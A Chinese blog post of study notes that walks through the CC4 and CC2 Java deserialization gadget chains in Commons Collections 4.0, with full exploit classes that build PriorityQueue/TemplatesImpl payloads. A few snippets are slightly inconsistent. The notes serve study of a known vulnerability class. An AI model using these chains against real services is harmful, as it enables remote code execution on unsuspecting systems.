Commons-Collections 篇 --CC4&CC2

CC4

CC4和CC3区别

PriorityQueue.readObject是jdk内部的

TransformingComparator.compare中 CC4有序列化接口/CC3无

环境

1
2
3
4
5
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

介绍

CC4 是针对 CC4 包的一条专用反序列化 RCE gadget 链

CC4 是针对 CC4 包且无需动态代理的一条简洁稳定链

1
2
3
4
5
反序列化 PriorityQueue → 触发 readObject()
PriorityQueue.readObject() 调用 heapify() → 比较元素
元素使用 TransformingComparator.compare()
compare() 调用 transformer.transform()
InvokerTransformer.transform() 通过反射执行任意方法(如 exec)

CC4 利用 PriorityQueue 反序列化 heapify 触发 TransformingComparator → InvokerTransformer 的反射执行链,是 Commons Collections 4.x 最重要的漏洞链之一。

自动触发的原因

1
2
3
4
5
heapify()
 → siftDown()
 → comparator.compare()
 → InvokerTransformer.transform()
 → Runtime.exec()

分析

逐步分析

  • 依旧和cc1相似,只是中间的链发生变化,前面的部分执行切入点还是一致的

    所以我们依旧来看transform

    查看transform在collections4.0中的调用(从ChainedTransformer类起手,查看transform调用)

    image-20251202211332225

    最后找到了这里

    原因:TransformingComparator这个类

    • 1
      public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

      可以序列化

    • 而且调用的compare比较常用

  • TransformingComparator的compare方法调用了transform

    1
    2
    3
    4
    5
    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
  • 看谁调用了compare(找readObject的就可)

    image-20251202212356926

    找到了jdk中的PriorityQueue类:这个类是Java 中的 优先级队列

  • 查看的PriorityQueue的readObject

    image-20251202212735866

    • 调到heapify():就是数据结构的二叉树、堆….

      1
      2
      3
      4
      private void heapify() {
          for (int i = (size >>> 1) - 1; i >= 0; i--)
              siftDown(i, (E) queue[i]);
      }
    • 进siftDown

      1
      2
      3
      4
      5
      6
      private void siftDown(int k, E x) {
          if (comparator != null)
              siftDownUsingComparator(k, x);
          else
              siftDownComparable(k, x);
      }
    • 进siftDownUsingComparator

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      private void siftDownUsingComparator(int k, E x) {
          int half = size >>> 1;
          while (k < half) {
              int child = (k << 1) + 1;
              Object c = queue[child];
              int right = child + 1;
              if (right < size &&
                  comparator.compare((E) c, (E) queue[right]) > 0)
                  c = queue[child = right];
              if (comparator.compare(x, (E) c) <= 0)
                  break;
              queue[k] = c;
              k = child;
          }
          queue[k] = x;
      }

      此处调用了compare——-到comparator.compare再调用transform

逐步构造

  • 前面是一样的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    public class CC4Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
    
    
            TemplatesImpl templates = new TemplatesImpl();
            Class tc = templates.getClass();
            Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
            nameField.setAccessible(true);//获取私有
            nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"
    
            Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
            bytecodesField.setAccessible(true);//获取私有
    
            byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
            byte[][] codes = {code};//设置二位数组和参数类型匹配
            bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes
    
            Field tfactoryField = tc.getDeclaredField("_tfactory");//获取  私有  字段"_tfactory"
            tfactoryField.setAccessible(true);//获取私有
            tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
    
    
            //构造instantiateTransformer
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    
            Transformer[] transformers = new Transformer[]{
                    // 第一步:返回 templates 对象
                    new ConstantTransformer(TrAXFilter.class),
                    // 第二步:调用 templates.newTransformer()
                    instantiateTransformer
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            chainedTransformer.transform(1);

    还是在chainedTransformer测试

  • 接下来就需要通过TransformingComparator的一系列传入transform

    • 查看其构造函数

      1
      2
      3
      4
      5
      public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                    final Comparator<O> decorated) {
          this.decorated = decorated;
          this.transformer = transformer;
      }

      可以直接传入transformer

    • 可以这么写

      1
      TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

      new一个TransformingComparator

  • 把优先队列PriorityQueue类放到TransformingComparator中

    • 还是看一下PriorityQueue构造函数

      1
      2
      3
      public PriorityQueue(Comparator<? super E> comparator) {
          this(DEFAULT_INITIAL_CAPACITY, comparator);
      }

      将comparator传入

    • 可以这么写

      1
      PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

      new一个PriorityQueue

  • 测试一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    public class CC4Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException {
    
    
            TemplatesImpl templates = new TemplatesImpl();
            Class tc = templates.getClass();
            Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
            nameField.setAccessible(true);//获取私有
            nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"
    
            Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
            bytecodesField.setAccessible(true);//获取私有
    
            byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
            byte[][] codes = {code};//设置二位数组和参数类型匹配
            bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes
    
    
    
    
            //构造instantiateTransformer
            InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    
            Transformer[] transformers = new Transformer[]{
                    // 第一步:返回 templates 对象
                    new ConstantTransformer(TrAXFilter.class),
                    // 第二步:调用 templates.newTransformer()
                    instantiateTransformer
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    
            TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
    
            PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
            //PriorityQueue
    
            serialize(priorityQueue);
            unserialize("ser.bin");

    发现啥都没有

  • 由于最后序列化的就是PriorityQueue,readObject

    所以再里面打个断点看看,是什么原因

    image-20251203155901882

    断点放在这

    • 主要的问题就是

      1
      2
      3
      private void heapify() {
          for (int i = (size >>> 1) - 1; i >= 0; i--)
              siftDown(i, (E) queue[i]);

      for循环不满足,导致siftDown进不去

      PriorityQueue size ≥ 2,至少两个元素(长度至少是2)

      否则不会比较,不会走 compare()

      我们现在的是空的

    • 构造

      1
      2
      3
      4
      5
      6
      7
      8
      PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
      //PriorityQueue
          
      priorityQueue.add(1);
      priorityQueue.add(2);
          
      serialize(priorityQueue);
      unserialize("ser.bin");
  • 但是报错了(原因在add)

    1
    2
    3
    public boolean add(E e) {
        return offer(e);
    }
    • 看offer

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      public boolean offer(E e) {
          if (e == null)
              throw new NullPointerException();
          modCount++;
          int i = size;
          if (i >= queue.length)
              grow(i + 1);
          size = i + 1;
          if (i == 0)
              queue[0] = e;
          else
              siftUp(i, e);
          return true;
      }
    • siftUp

      1
      2
      3
      4
      5
      6
      private void siftUp(int k, E x) {
          if (comparator != null)
              siftUpUsingComparator(k, x);
          else
              siftUpComparable(k, x);
      }
    • siftUpUsingComparator

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      private void siftUpUsingComparator(int k, E x) {
          while (k > 0) {
              int parent = (k - 1) >>> 1;
              Object e = queue[parent];
              if (comparator.compare(x, (E) e) >= 0)
                  break;
              queue[k] = e;
              k = parent;
          }
          queue[k] = x;
      }

      也调用了comparator.compare造成本地加载问题(也就是之前说的urldns的问题)

    • 报错原因

      1
      2
      3
      Field tfactoryField = tc.getDeclaredField("_tfactory");//获取  私有  字段"_tfactory"
      tfactoryField.setAccessible(true);//获取私有
      tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置  "_tfactory"==new TransformerFactoryImpl()

      即可

      但是这个相当于是手动触发了rce

    • 实现自动的序列化触发

      先改成没用的,后面再改回来(和前面说到cc6那篇类似)

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
      
      PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
      //PriorityQueue
      
      priorityQueue.add(1);
      priorityQueue.add(2);
      Class c =transformingComparator.getClass();
      Field transformerField = c.getDeclaredField("transformer");
      transformerField.setAccessible(true);
      transformerField.set(transformingComparator, chainedTransformer);
      
      
      serialize(priorityQueue);
      unserialize("ser.bin");

问题:
为什么cc3使用_tfactory,而cc4没用呢???(他俩都是走的InstantiateTransformer.transform,通过字节码加载的啊)

CC3 是“主动调用 newTransformer()”,需要 _tfactory 配置好才能正常加载字节码。
CC3通过TrAXFilter触发

CC4 是“被 TrAXFilter 强行调用 newTransformer()”,内部会自动初始化 _tfactory,所以可以不设置。
CC4 通过PriorityQueue触发 TrAXFilter 只用来“传个参”但不会真的执行里面的逻辑

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public class CC4Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {


        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
        nameField.setAccessible(true);//获取私有
        nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"

        Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
        bytecodesField.setAccessible(true);//获取私有

        byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
        byte[][] codes = {code};//设置二位数组和参数类型匹配
        bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes

//        Field tfactoryField = tc.getDeclaredField("_tfactory");//获取  私有  字段"_tfactory"
//        tfactoryField.setAccessible(true);//获取私有
//        tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
//        templates.newTransformer();

        //构造instantiateTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers = new Transformer[]{
                // 第一步:返回 templates 对象
                new ConstantTransformer(TrAXFilter.class),
                // 第二步:调用 templates.newTransformer()
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        //PriorityQueue

        priorityQueue.add(1);
        priorityQueue.add(2);
        Class c =transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

流程总结

1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化
    ↓
PriorityQueue.readObject()
    ↓
heapify() 触发 siftDown
    ↓
TransformingComparator.compare()
    ↓
InstantiateTransformer.transform
    ↓
反射调用任意方法
    ↓
命令执行

image-20251203171236277

CC2

介绍

总体来说和cc4没啥区别

就是把

InstantiateTransformer.transform变成了InvokerTransformer.transform

直接构建吧

构建

  • 因为就变了一个地方InvokerTransformer.transform

    所以前面的可以贴过来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    TemplatesImpl templates = new TemplatesImpl();
    Class tc = templates.getClass();
    Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
    nameField.setAccessible(true);//获取私有
    nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"
    
    Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
    bytecodesField.setAccessible(true);//获取私有
    
    byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
    byte[][] codes = {code};//设置二位数组和参数类型匹配
    by
  • new一个InvokerTransformer.transform’

    1
    InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
  • 后面我们可以省略去数组(除了数组都贴)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
    
    PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1));
    //PriorityQueue
    
    priorityQueue.add(1);
    priorityQueue.add(2);
    
    Class c =transformingComparator.getClass();
    Field transformerField = c.getDeclaredField("transformer");
    transformerField.setAccessible(true);
    transformerField.set(transformingComparator, chainedTransformer);
    
    
    serialize(priorityQueue);
    unserialize("ser.bin");
  • 因为没写数组

    chainedTransformer没有了

    TrAXFilter.class获取不到

    所以我们这么改一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
      
    PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1));
    //PriorityQueue
      
    priorityQueue.add(templates);//改了这
    priorityQueue.add(2);
      
    Class c =transformingComparator.getClass();
    Field transformerField = c.getDeclaredField("transformer");
    transformerField.setAccessible(true);
    transformerField.set(transformingComparator, invokerTransformer);//改了这
      
      
    serialize(priorityQueue);
    unserialize("ser.bin");
  • 而且priorityQueue.add(templates);这个地方只要一个就行

    priorityQueue.add(2);可以不写

    所以就变成了这样

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    TransformingComparator transformingComparator = new TransformingComparator<>(invokerTransformer);
      
    PriorityQueue priorityQueue = new PriorityQueue<>(new ConstantTransformer<>(1));
    //PriorityQueue
      
    priorityQueue.add(templates);   //改了这
      
    Class c =transformingComparator.getClass();
    Field transformerField = c.getDeclaredField("transformer");
    transformerField.setAccessible(true);
    transformerField.set(transformingComparator, invokerTransformer);   //改了这
    
    
    serialize(priorityQueue);
    unserialize("ser.bin");

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CC2Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, TransformerConfigurationException {

        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
        nameField.setAccessible(true);//获取私有
        nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"

        Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
        bytecodesField.setAccessible(true);//获取私有

        byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
        byte[][] codes = {code};//设置二位数组和参数类型匹配
        bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes

        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});


        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        //PriorityQueue

        priorityQueue.add(templates);
        priorityQueue.add(2);


        Class c =transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, invokerTransformer);


        serialize(priorityQueue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

流程总结

1
2
3
4
5
6
7
8
9
10
11
12
13
反序列化
    ↓
PriorityQueue.readObject()
    ↓
heapify() 触发 siftDown
    ↓
TransformingComparator.compare()
    ↓
InvokerTransformer.transform
    ↓
反射调用任意方法
    ↓
命令执行

image-20251203224554945

注意:

CC2没用到Transformer数组

因为:CC2 不需要一连串的反射操作, 只需要一个简单的 transform → 直接执行命令
LazyMap.put() 会触发 factory.transform(),这个 transform 只执行一次

所以:能自动依次调用多个方法,就用 Transformer数组; 只会调用一次 transform,就不需要数组


Commons-Collections 篇 --CC4&CC2
http://example.com/2025/12/04/CC4&CC2/
作者
Piggy Sprint
发布于
2025年12月4日
许可协议